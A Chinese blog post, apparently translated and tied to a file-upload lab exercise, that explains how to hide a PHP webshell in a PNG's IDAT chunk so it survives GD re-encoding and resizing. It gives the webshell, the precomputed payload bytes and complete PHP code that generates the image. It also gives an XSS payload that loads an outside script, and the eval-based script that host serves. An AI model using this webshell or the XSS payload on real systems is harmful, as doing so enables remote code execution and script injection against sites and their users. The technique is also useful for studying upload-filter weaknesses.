【补充】文件上传17关PNG脚本原理

文章原文

如果您精心将图片中的Web Shell进行编码处理,则可以绕过服务器端过滤器,使Shell几乎无处不在(这篇文章并不是想谈论在注释或元数据中对数据进行编码)-这篇文章将向您展示如何仅使用GD库将PHP webshell写入PNG IDAT块中。

如果无法将代码写入文件系统,利用服务器配置错误或本地文件包含可能会很棘手 - 过去,允许图像上传的应用程序提供了一种通过元数据或格式错误的图像将代码上传到服务器的有限方法。 但是,经常会对图像进行大小调整,旋转,去除其元数据或将其编码为其他文件格式(二次渲染),从而有效地破坏了webshell payload。

PNG文件格式基础

在PNG文件格式(我们将重点关注真彩色PNG文件而不是索引)中,IDAT块存储像素信息。我们将在此块中存储PHP Shell。现在,我们假设像素存储大小始终为3个字节,代表RGB颜色通道。

当原始图像另存为PNG时,图像的每一行都按字节进行过滤,并且每行的前面带有描述所使用的过滤器类型的数字(0x01至0x05),不同的行可以使用不同的过滤器。 其背后的原理是提高压缩比。 一旦所有的行都被过滤掉,它们都将被DEFLATE算法压缩以形成IDAT块。

IDAT数据块形成过程.png

因此,如果我们想将数据输入为原始图像并将其保存为webshell,则需要同时克服PNG行过滤器和DEFLATE算法。 往回看会比较好理解,所以我们从DEFLATE开始。

第一步:将webshell压缩成字符串

step1:为了防止我们的webshell被破坏,我们需要精心构造的语句不能包含重复出现的两个字符以上的内容(压缩会将相同的字符压缩到一块),所以越短越好。我在谷歌上找了一条号称最短的webshell:

<?=`$_GET[0]`;?>

如果是这么简单就好了:)遗憾的是,如果对上述字符串运行DEFLATE,则会产生大量垃圾值,虽然该字符串不会被压缩(webshell 没有变形),但DEFLATE结果不是从字节边界开始,使用的是LSB编码而不是MSB编码。我不会详细介绍它,但是您可以在Pograph的博客上阅读更多内容。

结果最简单的并且可以拿来通过编码的webshell是:

<?=$_GET[0]($_POST[1]);?>

您可以通过指定$_GET [0]为shell_exec并传递shell命令给$ _POST [1]参数来执行系统命令。

我使用DEFLATES对字符串进行压缩,该webshell的优点是:压缩后的第一个字节可以从0x00到0x04之间变化而不影响他的可读性-这对于规避下一阶段处理中会遇到的PNG过滤器十分重要。

经过deflate压缩后的结果如下:

03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

遗憾的是,您不能直接将这个字符串嵌入到原始原始图像中,并使其存储在IDAT数据块中,因为在进行DEFLATE之前首先会过滤图像行。

第二步:绕过PNG行滤镜

总共有五种不同的过滤器,PNG encoder可以自行决定给每行选择一种过滤器。我们现在的问题如何让当通过过滤器编码后可以形成我们上面构造的payload。只要我们的图片只包含一行payload剩下的都是连续的颜色比如black,我们的图片可能会经过的过滤器就只会是1或者3。我们可以进一步简化问题,只要我们逆向用过滤器1或者3反编码,我们的payload就会被保存下来。逆向算法如下:

// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
$p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
// Reverse Filter 3
for ($i = 0; $i < $s; $i++)
$p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

当我们尝试单单使用过滤器3处理时,PNG encoder会尝试用过滤器1进行编码,当我们用过滤器1处理时,PNG encoder会尝试用过滤器0进行编码,这就陷入了死循环。为了控制PNG encoder选择我们指定的过滤器,我们可以同时对我们写好的payload进行过滤器3和过滤器1反编码并把结果连接在一起。这可以让encoder选择过滤器3对我们的payload进行编码,确保了数据编码后的结果为我们第二步获取的结果。这部分数据再经过压缩,就可以形成我们的webshell,并存储在IDAT区域。如用我们上面的payload进行过滤器3和过滤器1反编码拼接后的结果为:

0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67,
0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60,
0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33

第三步:构造原始图像

当我们构造需要经过pd库编码成png图片的图片时,我们要把这部分数据放在文件第一行,这很关键。值得注意的是我们上面提供的payload只支持小于40x40px图片,当然也存在更换payload后可以构造更大图片的可能。
我们最后的payload需要编码成RGB比特流,例如:

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);

当这个图片生成后,我们应该可以在左上角看到一系列的七彩色(很小),并且背景是黑色的。

shellcode.png

当这个图片用十六进制编辑器打开的时候是这样的:

hexdumppngshell.png

当然也可以改变黑色的背景,只要在我们的payload后面填充其他颜色的RGB比特流,但是要注意不能出现我们的payload里面的byte,否则有可能会破坏我们的webshell,PNG encoder也可能会选择其他过滤器。

第四步:绕过图像变换

将Web Shell放在IDAT块中的主要原因是它具有绕过调整大小和重新采样操作的能力-PHP-GD库包含两个函数来执行imagecopyresize和imagecopyresampled的操作。

Imagecopyresampled通过获取一组像素上的平均像素值来转换图像,这意味着要绕过此操作,您需要将有效负载编码为一系列矩形或正方形。 但是,Imagecopyresize可以通过对每几个像素进行采样来转换图像,这意味着要绕过此功能,您实际上只需要更改几个像素即可。

下面第一张是对照片进行了imagecopyresize处理,第二张是对照片进行了imagecopyresample处理。两张图片都包含了webshell。

resized-32x32.png
resampled-32x32.png

总结

在IDAT块中放置shell有许多优势,并且应该绕过大多数应用程序调整已上传图像大小或重新编码的数据验证技术。你甚至可以以gif或jpeg等形式上传以上内容,只要最终的图像保存为PNG格式。

应该还有其他更好的技术来更好地隐藏webshell,除了扫描每个上传的shell图像之外,作为开发人员可能无法阻止它。可以想象,将webshell编码成有损格式(如JPEG)可能会困难得多——但可能也不是不可能(网上确实已经有大佬实现了)。


2015年6月的更新

如果您控制包含用户提供的PNG文件的http响应的content-type字段,则以下有效负载可能很有用。 它将以下脚本标记编码为IDAT块:

<ScRiPT sRC=//XQI.CC></SCrIpt>

它引用的脚本评估GET参数zz的内容,从而允许插入自定义有效负载。 它有效地为您的目标来源提供了一个反映的XSS端点。 例如

http://example.org/images/test.png?zz=alert("this is xss :(");

相关

在绕过GD库函数的图像中编码shell方面还有其他出色的工作:

  • 成功将<?= System($_GET [C]);?>编码为JPEG文件的图像,该图像在imagecreatefromjpeg中仍然存在(这会引发错误,但用GD可以恢复)。
  • 编码策略略有不同的GIF。 有效负载被编码到GIF标头中,而不是在图像主体中。

参考链接:

[24-03-2011] PHP Remote File Inclusion command shell using data://
[23-02-2011] Using php://filter for local file inclusion
function getParameterByName(name) { name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"), results = regex.exec(location.search); return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " ")); } var zz = getParameterByName('zz'); if (zz == "") { alert("XSS!"); document.location="https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/"; } else { eval(zz); }
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,997评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,603评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,359评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,309评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,346评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,258评论 1 300
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,122评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,970评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,403评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,596评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,769评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,464评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,075评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,705评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,848评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,831评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,678评论 2 354

推荐阅读更多精彩内容